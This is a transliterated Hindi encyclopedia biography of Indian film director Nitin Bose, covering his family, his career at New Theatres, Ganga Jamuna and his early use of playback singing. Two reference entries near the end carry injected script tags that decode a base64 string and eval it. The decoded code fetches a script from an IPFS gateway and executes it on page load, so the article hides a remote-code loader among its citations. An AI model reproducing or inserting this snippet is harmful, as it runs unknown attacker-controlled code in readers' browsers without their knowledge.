नितिन बोस
nitin bos
| |
| poora nam | nitin bos |
| janm | 26 aprail, 1897 |
| janm bhoomi | kalakatta (vartaman kolakata) |
| mrityu | 14 aprail, 1986 |
| mrityu sthan | kolakata |
| abhibhavak | pita- hemendr mohan bos, mata- mrinalini |
| pati/patni | shaanti bos |
| santan | do putriyaan- rina aur nita |
| karm bhoomi | bharat |
| karm-kshetr | film nirdeshak, lekhak |
| mukhy filmean | 'ganga-jamuna', 'didar', 'dakoo mansoor', 'chandidas', 'dhoopachhaanv', 'jivan maran', 'dushman', 'dharatimata' aur 'mujarim' adi. |
| puraskar-upadhi | 'dada sahab phalke puraskar' (1977) |
| vishesh yogadan | hindi filmoan mean parshvagayan ko prarambh karane mean nitin bos tatha pankaj malik ka bahut b da hath tha. |
| nagarikata | bharatiy |
| any janakari | nitin bos ki film 'ganga-jamuna' ka prasiddh git "iansaph ki dagar pe, bachcho dikhao chalake" ek aisa git tha, jisane nee pidhi ko usake dayitvoan ka ahasas karaya. |
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nitin bos (aangrezi: Nitin Bose, janm- 26 aprail, 1897, kalakatta; mrityu- 14 aprail, 1986) bharatiy sinema ke praranbhik samarthakoan mean se ek, prasiddh film nirdeshak, chhayakar aur lekhak the. ve kalakatta (vartaman kolakata) ke prasiddh 'nyoo thiyetars' ke pichhe ki takat the. varsh 1935 mean unaki bangali film 'bhagy chakr' mean unhoanne filmoan ka parshvagayan se parichay karavaya tha. bad mean yah film hindi mean 'dhoop chhaanv' nam se banaee gee. nitin bos ne apane sine kairiyar mean chhah mook filmoan sahit 50 se bhi adhik filmoan ka nirdeshan aur chhayaankan kiya. unhe ke. el. sahagal aur uttam kumar ke kairiyar ko shuroo karane ka shrey diya jata hai. bad mean nitin ji muanbee a gaye the aur yahaan film nirdeshan kiya. unaki sarvashreshth filmoan mean se ek 'ganga jamuna' ko hindi sinema ki sabase b di filmoan mean se ek mana jata hai. unake vishisht yogadan ke lie unhean varsh 1977 mean 'dada sahab phalke puraskar' se sammanit kiya gaya tha. nitin bos ki film 'ganga jamuna' ka prasiddh git "iansaph ki dagar pe, bachcho dikhao chalake" aisa hi ek git tha, jisane nee pidhi ko usake dayitvoan ka ahasas karaya.
janm v parivarik parichay
bharatiy sinema mean stoodiyo yug ke mahanh nirdeshak nitin bos ka janm 26 aprail, 1897 ko kolakata mean hua tha. inake pita ka nam 'hemendr mohan bos' tatha mata 'mrinalini' thian. nitin bos ki mataji mashahoor lekhak upendrakishor rayachaudhari ki bahan thian. upendrakishor prasiddh kavi sukumar ray ke pita aur khyati prapt film nirmata-nirdeshak satyajit ray ke dada the. nitin bos ke bhaee mukul bos ka bhi filmi duniya se bahut gahara rishta raha, ve sauand rik aaurdist ke roop mean mashahoor the. nitin bos ka vivah shaanti bos se hua tha. ve do putriyoan rina aur nita ke pita bhi bane.
pratham film nirdeshan
nitin bos apani kishoravastha se hi apane dostoan aur ghar parivar ke logoan ke bich behad pratibhashali gine jate the. shuroo mean vah sinemaitografar the, lekin san 1934 mean unhoanne jab ek bar film nirdeshan par apana hath ajamaya to phir kabhi pichhe mu d kar nahian dekha. unake man mean nirdeshan ki pahali bar ichchha us samay jor marane lagi, jab unhoanne devaki bos ke muanh se 'chandidas' film ki patakatha suni. unhoanne sahi mayanoan mean devaki bos ke sath mil kar bharatiy romaantik sine yug ki nianv dali. jab unhoanne 'chandidas' ki patakatha suni to apane apako 'nyoo thiyetars' ke malik bireandranath sarakar se yah kahane se nahian rok pae ki maian bhi film nirdeshan karooanga. unhean hindi mean 'chandidas' ko nirdeshit karane ka dayitv sauanpa gaya, is par vah poori tarah se khare utare. unhoanne apani pratibha ke bal par film 'chandidas' ko bhavanatmak aur takaniki drishti se ek mahanh shahakar bana diya tha.[1]
'ganga jamuna' ki saphalata
bharatiy hindi sinema ki kalajayi filmoan ki soochi jab bhi banayi jayegi, usamean 'ganga jamuna' ko zaroor rakha jaega. film 'ganga jamuna' n sirf bharatiy samaj ka mahakavyiy chitran karati hai balki samaj ke bhautikavadi vicharabodh ko bhi susangat kram deti hai. 'ganga-jamuna' ka hi shahari rimek bad mean film 'divar' ke roop mean samane aya. kyoanki vakt badalane se jivan shaili ka dhang bhale badal gaya ho, upabhog mean ane vali vastuoan ki gunavatta aur upabhog ka dhang bhale naphasat se paripoorn ho gaya ho, magar natija vahi rahata hai. isilie daur koee bhi ho 'ganga-jamuna' bhavy hi lagati hai aur akarshak bhi. dilip kumar aur vaijayanti mala ne is film mean adbhut abhinay kiya hai, lekin asali shrey to nirdeshak nitin bos ko hi jayega, kyoanki 'ganga-jamuna' ko prastut karane ki kalpanashilata to unhian ki thi. film- ganga jamana|thumb|left
any filmean
- nitin bos bharatiy sinema ki vah shakhsiyat the, jinhoanne sinema ke madhyam se iansan ki sookshmatam anubhootiyoan ko pak dane aur unako ubharane ka kam kiya. 'chandidas' film ki apani saphalata ke bad unhoanne 1934 mean apani agali film 'dakoo mansoor' ka nirdeshan kiya. yah ek samajik film thi aur apratyaksh roop se hindoo-muslim bhaeechare par adharit thi, lekin tatkalin aangrez sarakar ne is par sampradayikata ka thappa lagate hue ise pratibandhit kar diya tha.
- janavari, 1936 mean nitin bos dvara nirdeshit ek film rilij huee 'dhoopachhaanv', jisamean ke.si. de., umashish tatha paha di sanyal jaise gayak-abhinetaoan ne kam kiya tha aur unake dvara gae ge is film ke sabhi git lokapriy hue the, kiantu do git, 'aandhe ki lathi too hi hai, too hi jivan-ujiyara hai' tatha 'jivan ka sukh aj prabhu mohe' khasataur par charchit hue. film mean ye git ke.si. de dvara gaye ge the aur unhian par inaka filmaankan bhi hua tha. magar bad mean gramofon rik aaurd par jari karane ke lie inhean kuandanalal sahagal se gavaya gaya aur yahi in gitoan ki vishesh charcha ka karan bana. in par kuandanalal sahagal ki chhap lag gee. halaanki film mean sahagal ki koee bhoomika nahian thi aur n hi koee gana un par filmaya gaya tha, phir bhi unake svar mean in ganoan ki lokapriyata ke chalate logoan ne unaka sanbandh is film ke sath jo d liya aur sahagal dvara abhinit filmoan ki soochi mean is film ka nam shumar kiya jane laga.
parshvagayan ka pratham prayog
film 'dhoopachhaanv' ki ek aur khas bat yah thi ki isamean nirdeshak nitin bos ne sangitakar ar.si. boral v pankaj malik tatha sauand rik aaurdist mukul bos ki sahayata se parul ghosh, suprabha sarakar evan harimati ke svaroan mean ek git rik aaurd karake parshvagayan ka pahala prayog kiya tha. magar nitin bos ke man mean yah kalpana kaise utpann huee, isaki bhi ek kahani hai- [[chitr:Deedar-1951.jpg|thumb|film- didar (1951)]]
ek din nitin bos subah ke vakt pankaj malik se milane unake ghar ge, to pankaj baboo naha rahe the. nitin bos bahar kamare mean baithakar unaka iantazar karane lage. vahaan rediyo chaloo tha aur us par ek git prasarit ho raha tha. udhar batharoom se pankaj baboo ke gane ke svar a rahe the. achanak nitin bos ne lakshy kiya ki pankaj baboo vahi gana ga rahe haian, jo rediyo par prasarit ho raha tha. ve rediyo ke svar mean svar milakar ga rahe the. bas phir kya tha, nitin bos ke manas patal par palak jhapakate hi ek takaniki kraanti ka khaka spasht ho gaya. jaise hi pankaj baboo nahakar bahar nikale, nitin bos ek bachche ki tarah adhir hokar bole- "dada, ap rediyo ke svar mean svar milakar ga rahe the?" pankaj malik ne kaha- "haan, maian ga raha tha". "kya vah prayog filmoan mean nahian kiya ja sakata?" utsah ke atirek mean uttejit hokar nitin bos ne saval kiya. pankaj baboo ekadam samajh nahian pae ki nitin bos kya kahana chahate haian. unhoanne kaha- "matalab"? is par nitin bos ne unase kaha ki "matalab yah ki gane ki rik aaurdiang pahale kar li jae aur filmaankan ke samay abhineta us rik aaurdiang ko sunakar usake anusar hoanth hilate hue abhinay kare." pankaj baboo ne kaha- "adbhut kalpana hai nitin. ise sakar karane ke lie ham prayog kareange... har kimat par kareange." aur is tarah filmoan mean parshvagayan ki paddhati ka sootrapat hua, jisane vishv sinema ka chehara hi badal diya.[2]
film soochi
| kr.san. | varsh | film |
|---|---|---|
| 1. | 1934 | dakoo mansoor |
| 2. | 1934 | chandidas |
| 3. | 1935 | dhoopachhaanv |
| 4. | 1937 | b di bahan |
| 5. | 1937 | didi |
| 6. | 1938 | jivan-maran |
| 7. | 1938 | dushman |
| 8. | 1938 | dharati mata |
| 9. | 1941 | parichay |
| 10. | 1943 | kashinath |
| 11. | 1944 | mujarim |
| 12. | 1945 | mazadoor |
| 13. | 1951 | didar |
| 14. | 1954 | varis |
| 15. | 1956 | char dost |
| 16. | 1957 | kathaputali |
| 17. | 1961 | ganga-jamuna |
marksavadi vicharadhara
marksavad se prabhavit hokar nitin bos ne san 1936 mean film 'presideant' banayi. yah pahali thos vaicharik film thi, jisamean mazadoor hitoan ko tarajih di gayi thi. film samikshakoan se to is film ke lie nitin bos ko vahavahi mili hi, darshakoan ne bhi isaka jabaradast svagat kiya. jisase utsahit hokar nitin bos ne marksavadi vicharadhara par ek aur film banayi 'dharatimata'. yah film samoohik krishi ke siddhaant par adharit thi. ise unhoanne b de paimane par autador shootiang karake banaya tha. isake filmaankan ko dekh kar lagata hai ki vah h aaulivud ki takaniki shreshthata se kafi prabhavit the. nitin bos aise filmakar the, jo apani kalpanashilata se niras se niras vishay mean bhi jan dal dete the. aangrez sarakar ne unase kshay rog unmoolan par ek d aaukyoomeantri banavayi thi, ise unhoanne itana shanadar bana diya ki logoan ne ise dekh kar sajagata hasil ki aur sath isase manoranjan bhi paya. is vritachitr ko nitin ji ne phichar film ki tarah banaya aur nam diya "dushman". varsh 1940 mean unhoanne isaka bangali rimek 'lagan' bhi banaya aur vah bhi khoob pasand ki gee.
- 1940 mean 'nyoo thiyetars' mean bhayanak ag lag gee, jisase kafi kshati huee. jis karan nitin bos ka kairiyar bhi tho de bahut prabhavit hua, lekin jahaan 1940 ate-ate 'nyoo thiyetars' ke tamam namachin nirdeshak, jaise- devaki bos, pramathesh barua aur phani majoomadar ise chho d kar chale gaye, vahian us dauran bhi nitin bos ne film 'kashinath' banayi, jisake filmaankan par unhean kafi pareshani ka samana karana p da.
mumbee agaman
film 'kashinath' ke bad nitin bos 'nyoo thiyetars' aur kolakata chho d kar 'banbee' (vartaman mumbee) chale aye, jahaan unhoanne 1944-1945 ke bich tin filmean 'paraya dhan', 'mujarim' v 'mazadoor' banayi. varsh 1946 mean banbee t aaukij ke bhagidaroan ne nitin bos se apane lie film banane ka anurodh kiya aur nitin bos ne banbee t aaukij ke lie pahali film ravindranath thakur ki kahani par banayi, jisaka nam 'milan' tha. film 'milan' ke nayak apane samay ke mashahoor dilip kumar the aur is film ke chhayakar b aaulivud ke mahanh chhayakaroan mean se ek radhoo karmakar the. san 1949 mean nitin bos ne 'mashal' aur 1950 mean ashok kumar aur dilip kumar ke abhinay se saji film 'didar' ka nirdeshan kiya. tin varshoan bad unhoanne 'varis' ka bhi nirdeshan kiya, magar shayad abhi unaki klasiki ka namoona ana baki tha. isalie unhoanne 1961 mean 'ganga-jamuna' banayi, jo n sirf sarvakalik mahanh b aaulivud filmoan mean se ek hai, balki sarvakalik suparahit filmoan mean se bhi ek hai.[1]
nidhan
nitin bos ka nidhan 14 aprail, 1986 ko kolakata mean hua. is mahanh hasti ko bharatiy sinekaroan ki uchch shreni mean gina jata hai. unhoanne apani mehanat, lagan, pratibha aur jijnasa v prayogoan se b aaulivud ko samriddh kiya. yadi nitin bos jaise mahanh filmakar 40 ke dashak mean n hue hote to shayad 80 ke dashak mean bharat mean prayogik sinema ka jo ubhar aya tha, vah kabhi n ata. mrinal sen, gautam ghosh, baloo mahendran, shyam benegal aur girish kasaravalli jaise prayogik aur maulik filmakaroan ne hamesha unase prerana hasil ki hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 vichar aur bhavana ki k aaukalet ke ustad (hindi). . abhigaman tithi: 14 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 1936 ki filmean (hindi). . abhigaman tithi: 14 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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